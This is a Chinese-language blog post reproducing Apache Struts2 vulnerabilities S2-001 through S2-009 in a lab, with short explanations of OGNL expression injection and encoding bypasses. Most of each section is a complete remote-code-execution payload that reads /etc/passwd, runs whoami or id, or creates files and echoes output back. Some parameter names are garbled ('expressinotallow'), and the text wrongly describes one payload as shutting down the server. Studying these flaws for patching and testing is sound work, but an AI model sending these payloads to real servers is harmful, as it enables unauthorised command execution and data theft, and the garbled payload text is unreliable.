0
点赞
收藏
分享

微信扫一扫

Struts2漏洞学习(s2-001——s2-009)

西红柿上校 2023-06-24 阅读 69

Struts2漏洞复现

Struts2是一个基于MVC设计模式的Web应用框架


Struts2漏洞学习(s2-001——s2-009)_struts2

S2-001

漏洞原理:

后端将用户之前提交的参数使用OGNL表达式%{}进行解析,然后重新填充到对应的表单数据中,例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用%{value}对提交的数据执行了一次OGNL表达式解析,所以可以直接构造payload进行命令执行


OGNL的全称是Object-Graph Navigation Language,即对象图导航语言,它是一种功能强大的开源表达式语言。使用这种表达式语言可以通过某种表达式语法存取Java对象的任意属性,调用Java对象的方法,以及实现类型转行等。


影响版本


验证方法:

在输入框输入%{1+1}判断是否存在s2-001

Struts2漏洞学习(s2-001——s2-009)_java_02


提交后返回来{}里面的表达式

Struts2漏洞学习(s2-001——s2-009)_struts2_03



利用过程:



Struts2漏洞学习(s2-001——s2-009)_struts2_04



这里可以直接输入和直接回显。

复制POC到一个输入框点击submit

然后就会把数据提交到后端,后端检测值是否为空,然后返回。

Poc:

获取Web路径:

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}


放到输入框里查看回显结果:

Struts2漏洞学习(s2-001——s2-009)_java_05


执行任意命令:

%{

#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),

#b=#a.getInputStream(),

#c=new java.io.InputStreamReader(#b),

#d=new java.io.BufferedReader(#c),

#e=new char[50000],

#d.read(#e),

#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),

#f.getWriter().println(new java.lang.String(#e)),

#f.getWriter().flush(),#f.getWriter().close()

}



Struts2漏洞学习(s2-001——s2-009)_java_06


Struts2漏洞学习(s2-001——s2-009)_struts2_07


S2-005

漏洞原理:

s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开

简单理解为编码绕过和进制绕过,同时利用OGNL打开安全配置选项


漏洞利用:

环境打开如下

Struts2漏洞学习(s2-001——s2-009)_struts2_08

构建POC:

无回显:

(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1

此poc分为三个部分,执行结果为在tmp文件夹下创建success文件

(1)(’\u0023_memberAccess[‘allowStaticMethodAccess’]’)(vaaa)=true

第一步将_memberAccess变量中的allowStaticMethod设置为true,这里payload还要加括号,并且还带个"(meh)"呢?其实是为了遵守Ognl语法树的规则。第一步完成后,就可以执行静态方法了。

(2)(aaaa)((’\u0023context[‘xwork.MethodAccessor.denyMethodExecution’]\u003d\u0023vccc’)(\u0023vccc\u003dnew java.lang.Boolean(“false”)))

第二步将上下文中的xwork.MethodAccessor.denyMethodExecution设置为false,即允许方法的执行,这里的MehodAccessor是Struts2中规定方法/属性访问策略的类,也存在与Ognl的上下文中。同样遵守Ognl语法树规则。

(3)(asdf)((’\u0023rt.output(“touch@/tmp/success”.split("@"))’)(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

第三步就是真正的攻击代码,前两步就是要保证第三步成功执行,第三步就是执行了关闭服务器的代码。但是要过调用Runtime类的静态方法获取一个Runtime对象。

有回显:

POC:

('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43mycmd\75\'whoami\'')(d))&(h)(('\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)')(d))&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))&(m)(('\43myout\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(n)(('\43myout.getWriter().println(\43mystr)')(d))

(1)设置上下文denyMethodExecutinotallow=false 运行方法执行

(2)excludeProperties=@java.util.Collections@EMPTY_SET (@class@调用静态变量)设置外部拦截器为空

(3)mycmd=“whoami” 定义我们的执行命令的变量

(4)myret=@java.lang.Runtime@getRuntime().exec(\43mycmd)’) (调用静态方法执行我们的变量)

(5)mydat=new java.io.DataInputStream(\43myret.getInputStream())’) 获取输入流 (post)

(6)myres=new data[51020];mydat.readfully(myres); 读取输入流

(5,6为了转换输入流的类型)

(7)mystr=new java.lang.String(#myres) ;定义并赋值输入流

(8)myout=org.apache.struts2.ServletActionContext@getResponse() ;得到repsonse的数据

(9)myout.getWriter().println(#mystr) ;把response的数据打印到屏幕上。

Struts2漏洞学习(s2-001——s2-009)_java_09


也可以利用struts2检测工具

Struts2漏洞学习(s2-001——s2-009)_struts2_10

执行命令:

Struts2漏洞学习(s2-001——s2-009)_java_11


S2-007


漏洞原理:

age参数只能是整数,非整数会导致错误,struts会将用户的输入当成ognl表达式执行,从而导致漏洞


漏洞利用:

在age参数处输入POC:

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())) + '


Struts2漏洞学习(s2-001——s2-009)_java_12

S2-008

漏洞原理:

对传入参数没有做严格限制,导致多个地方可执行恶意代码,传入?debug=command&expressinotallow= 即可执行OGNL表达式。

漏洞利用:


打开环境:

Struts2漏洞学习(s2-001——s2-009)_java_13

构建POC:

?debug=command&expressinotallow=%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22whoami%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()


Struts2漏洞学习(s2-001——s2-009)_struts2_14


S2-009

漏洞原理:

当前版本的action中接受了某个参数example,这个参数将进入OGNL的上下文,我们可以将将OGNL表达式放入到example参数中,然后使用/HelloWorld.action?example=& (example)(‘xxx’)=1的方法来执行绕过

构造POC:

?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27id%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]


Struts2漏洞学习(s2-001——s2-009)_struts2_15





举报

相关推荐

0 条评论